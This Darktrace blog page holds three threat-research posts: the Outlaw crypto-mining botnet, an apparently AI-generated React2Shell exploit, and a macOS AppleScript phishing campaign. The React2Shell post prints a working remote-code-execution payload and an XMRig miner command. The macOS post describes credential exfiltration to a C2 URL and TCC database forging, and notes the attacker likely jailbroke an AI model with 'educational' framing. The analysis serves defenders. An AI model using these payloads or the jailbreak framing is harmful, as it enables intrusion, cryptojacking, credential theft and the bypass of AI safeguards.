Blog
/
Network
/
July 27, 2023

Revealing Outlaw's Returning Features & New Tactics

Darktrace's investigation of the latest Outlaw crypto-mining operation, covering the resurgence of old tactics along with the emergence of new ones.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
27
Jul 2023

What is Outlaw Cryptocurrency Mining Operation?

The cybersecurity community has been aware of the threat of Outlaw cryptocurrency mining operation, and its affiliated activities since as early as 2018. Despite its prominence, Outlaw remains largely elusive to researchers and analysts due to its ability to adapt its tactics, procedures, and payloads.

Outlaw gained notoriety in 2018 as security researchers began observing the creation of affiliated botnets.[1][2]  Researchers gave Outlaw  its name based on the English translation of the “Haiduc” tool observed during their initial activity on compromised devices.[3],[4] By 2019, much of the initial Outlaw activity  focused on the targeting of Internet of Things (IoT) devices and other internet facing servers, reportedly focusing operations in China and on Chinese devices.[5],[6]  From the outset, mining operations featured as a core element of botnets created by the group.[7] This initial focus may have been a sign of caution by threat actors or a preliminary means of testing procedures and operation efficacy. Regardless, Outlaw actors inevitably expanded scope, targeting larger organizations and a wider range of internet facing devices across geographic scope.

Following a short period of inactivity, security researchers began to observe new Outlaw activity, showcasing additional capabilities such as the ability to kill existing crypto-mining processes on devices, thereby reclaiming devices already compromised by crypto-jacking. [8],[9]

Latest News on Outlaw

Although the more recently observed incidents of Outlaw did demonstrate some new tactics, many of its procedures remained the same, including its unique bundling of payloads that combine crypto-mining and botnet capabilities. [10] In conjunction, the continued use of mining-specific payloads and growth of affiliated botnets has bolstered the belief that Outlaw actors historically prioritizes financial gain, in lieu of overt political objectives.

Given the tendency for malicious actors to share tools and capabilities, true attribution of threat or threat group is extremely difficult in the wild. As such, a genuine survey of activity from the group across a customer base has not always been possible. Therefore, we will present an updated look into more recent activity associated with Outlaw detected across the Darktrace customer base.  

Darktrace vs Outlaw

Since late 2022, Darktrace has observed a rise in probable cyber incidents involving indicators of compromise (IoCs) associated with Outlaw. Given its continued prevalence and relative dearth of information, it is essential to take a renewed look at the latest campaign activity associated with threats like Outlaw to avoid making erroneous assumptions and to ensure the threat posed is correctly characterized.

While being aware of previous IoCs and tactics known to be employed in previous campaigns will go some way to protecting against future Outlaw attacks, it is paramount for organizations to arm themselves with an autonomous intelligent decision maker that can identify malicious activity, based on recognizing deviations from expected patterns of behavior, and take preventative action to effectively defend against such a versatile threat.

Darktrace’s anomaly-based approach to threat detection means it is uniquely positioned to detect novel campaign activity by recognizing subtle deviations in affected devices’ behavior that would have gone unnoticed by traditional security tools relying on rules, signatures and known IoCs.

Outlaw Attack Overview & Darktrace Coverage

From late 2022 through early 2023, Darktrace identified multiple cyber events involving IP addresses, domains, and payloads associated with Outlaw on customer networks. In this recent re-emergence of campaign activity, Darktrace identified numerous attack vectors and IoCs that had previously been associated with Outlaw, however it also observed significant deviations from previous campaigns.

Returning Features

As outlined in a previous blog, past iterations of Outlaw compromises include four identified, distinct phases:

1. Targeting of internet facing devices via SSH brute-forcing

2. Initiation of crypto-mining operations

3. Download of shell script and/or botnet malware payloads

4. Outgoing external SSH scanning to propagate the botnet

Nearly all affected devices analyzed by Darktrace were tagged as internet facing, as identified in previous campaigns, supporting the notion that Outlaw continues to focus on easily exposed devices. In addition to this, Darktrace observed three other core returning features from previous Outlaw campaigns in affected devices between late 2022 and early 2023:

1. Gzip and/or Script Download

2. Beaconing Activity (Command and Control)

3. Crypto-mining

Gzip and/or Script Download

Darktrace observed numerous devices downloading the Dota malware, a strain that is previously known to have been associated with the Outlaw botnet, as either a gzip file or a shell script from rare external hosts.

In some examples, IP addresses that provided the payload were flagged by open-source intelligence (OSINT) sources as having engaged in widespread SSH brute-forcing activities. While the timing of the payload transfer to the device was not consistent, download of gzip files featured prominently during directly observed or potentially affiliated activity. Moreover, Darktrace detected multiple devices performing HTTP requests for shell scripts (.sh) according to detected connection URIs. Darktrace DETECT was able to identify these anomalous connections due to the rarity of the endpoint, payloads, and connectivity for the devices.

Figure 1: Darktrace Cyber AI Analyst technical details summary from an incident during the analysis timeframe that highlights a breach device retrieving the anomalous shell scripts using wget.

Beaconing Activity – Command and Control (C2) Endpoint

Across all Outlaw activity identified by Darktrace, devices engaged in some form of beaconing behavior, rather than one-off connections to IPs associated with Outlaw. While the use of application protocol was not uniform, repeated connectivity to rare external IP addresses related to Outlaw occurred across many analyzed incidents. Darktrace’s Self-Learning AI understood that this beaconing activity represented devices deviating from their expected patterns of life and was able to bring it to the immediate attention of customer security teams.

Figure 2: Model breach log details showing sustained, repeated connectivity to Outlaw affiliated endpoint over port 443, indicating potential C2 activity.

Crypto-mining

In almost every incident of Outlaw identified across the fleet, Darktrace detected some form of cryptocurrency mining activity. Devices affected by Outlaw were consistently observed making anomalous connections to external endpoints associated with crypto-mining operations. Furthermore, the Minergate protocol appeared consistently across hosts; even when devices did not make direct crypto-mining commands, such hosts attempted connections to external entities that were known to support crypto-mining operations.

Figure 3: Advanced Search results showing a sudden spike in mining activity from a device observed connecting to Outlaw-affiliated IP addresses. Such crypto-mining activity was observed consistently across analyzed incidents.

Is Outlaw Using New Tactics?

While in the past, Outlaw activity was identified through a systematic kill chain, recent investigations conducted by Darktrace show significant deviations from this.

For instance, affected devices do not necessarily follow the previously outlined kill chain directly as they did previously. Instead, Darktrace observed affected devices exhibiting these phases in differing orders, repeating steps, or missing out attack phases entirely.

It is essential to study such variation in the kill chain to learn more about the threat of Outlaw and how threat actors are continuing to use it is varying ways. These discrepancies in kill chain elements are likely impacted by visibility into the networks and devices of Darktrace customers, with some relevant activity falling outside of Darktrace’s purview. This is particularly true for internet-exposed devices and hosts that repeatedly performed the same anomalous activity (such as making Minergate requests). Moreover, some devices involved in Outlaw activity may have already been compromised prior to Darktrace’s visibility into the network. As such, these conclusions must be evaluated with a degree of uncertainty.

SSH Activity

Although external SSH connectivity was apparent in some of the incidents detected by Darktrace, it was not directly related to brute-forcing activity. Affected devices did receive anomalous incoming SSH connections, however, wide ranging SSH failed connectivity following the initiation of mining operations by compromised devices was not readily apparent across analyzed compromises. Connections over port 22 were more frequently associated with beaconing and/or C2 activity to endpoints associated with Outlaw, than with potential brute-forcing. As such, Darktrace could not, with high confidence correlate such SSH activity to brute-forcing. This could suggest that threat actors are now portioning or rotation of botnet devices for different operations, for example dividing between botnet expansion and mining operations.

Command line tools

In cases of Outlaw investigated by Darktrace, there was also a degree of variability involving the tools used to retrieve payloads. On the networks of customers affected by Outlaw, Darktrace DETECT identified the use of user agents and command line tools that it considered to be out of character for the network and its devices.

When retrieving the Dota malware payload or shell script data, compromised devices frequently relied on numerous versions of wget and curl user agents. Although the use of such tools as a tactic cannot be definitively linked to the crypto-mining campaign, the employment of varying and/or outdated native command line tools attests to the procedural flexibility of Outlaw campaigns, and its potential for continued evolution.

Figure 4: Breach log data showing use of curl and wget tools to connect to IP addresses associated with Outlaw.

Outlaw in 2023

Given Outlaw’s widespread notoriety and its continued activities, it is likely to remain a prominent threat to organizations and security teams across the threat landscape in 2023 and beyond.

As Darktrace has observed within its customer base from late 2022 through early 2023, activity linked with the Outlaw cryptocurrency mining campaign continues to transpire, offering security teams and research a renewed look at how it has evolved and adapted over the years. While many of its features and tactics appear to have remained consistent, Darktrace has identified numerous signs of Outlaw deviating from its previously known activities.

While relying on previously established IoCs and known tactics from previous campaigns will go some way to protecting an organization’s network from Outlaw compromises, there is a greater need than ever to go further than this. Rather than depending on a list of known-bads or traditional signatures and rules, Darktrace’s anomaly-based approach to threat detection and unparallel autonomous response capabilities mean it is uniquely positioned to DETECT and RESPOND to Outlaw activity, regardless of how it evolves in the future.

Credit to: Adam Potter, Cyber Analyst, Nahisha Nobregas, SOC Analyst, and Ryan Traill, Threat Content Lead

Relevant DETECT Model Breaches:

Compliance / Incoming SSH  

Device / New User Agent and New IP

Device / New User Agent  

Anomalous Connection / New User Agent to IP Without Hostname  

Compromise / Crypto Currency Mining Activity  

Anomalous File / Internet Facing System File Download  

Anomalous Server Activity / New User Agent from Internet Facing System  

Anomalous File / Zip or Gzip from Rare External Location  

Anomalous File / Script from Rare External Location  

Anomalous Connection / Multiple Failed Connections to Rare Endpoint  

Compromise / Large Number of Suspicious Failed Connections  

Anomalous Server Activity / Outgoing from Server  

Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

Indicators of Compromise

Indicator - Type - Description

/dota3.tar.gz​

File  URI​

Outlaw  payload​

/tddwrt7s.sh​

File  URI​

Outlaw  payload​

73e5dbafa25946ed636e68d1733281e63332441d​

SHA1  Hash​

Outlaw  payload​

debian-package[.]center​

Hostname​

Outlaw  C2 endpoint​

161.35.236[.]24​

IP  address​

Outlaw  C2 endpoint​

138.68.115[.]96​

IP  address​

Outlaw C2  endpoint​

67.205.134[.]224​

IP  address​

Outlaw C2  endpoint​

138.197.212[.]204​

IP  address​

Outlaw C2  endpoint​

45.9.148[.]59 ​

IP  address​

Possible  Outlaw C2 endpoint​

45.9.148[.]117​

IP  address​

Outlaw C2  endpoint​

45.9.148[.]125​

IP  address​

Outlaw C2  endpoint​

45.9.148[.]129​

IP  address​

Outlaw C2  endpoint​

45.9.148[.]99 ​

IP  address​

Outlaw C2  endpoint​

45.9.148[.]234​

IP  address​

Possible  Outlaw C2 endpoint​

45.9.148[.]236​

IP  address​

Possible  Outlaw C2 endpoint​

159.203.102[.]122​

IP  address​

Outlaw C2  endpoint​

159.203.85[.]196​

IP  address​

Outlaw C2  endpoint​

159.223.235[.]198​

IP  address​

Outlaw C2  endpoint​

MITRE ATT&CK Mapping

Tactic -Technique

Initial Access -T1190  Exploit - Public Facing Application

Command and Control - T1071 - Application - Layer Protocol

T1071.001 - Application Layer Protocol: Web Protocols

Impact - T1496 Resource Hijacking

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst

More in this series

No items found.

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

Continue reading
About the author
Tara Gould
Malware Research Lead
Your data. Our AI.
Elevate your network security with Darktrace AI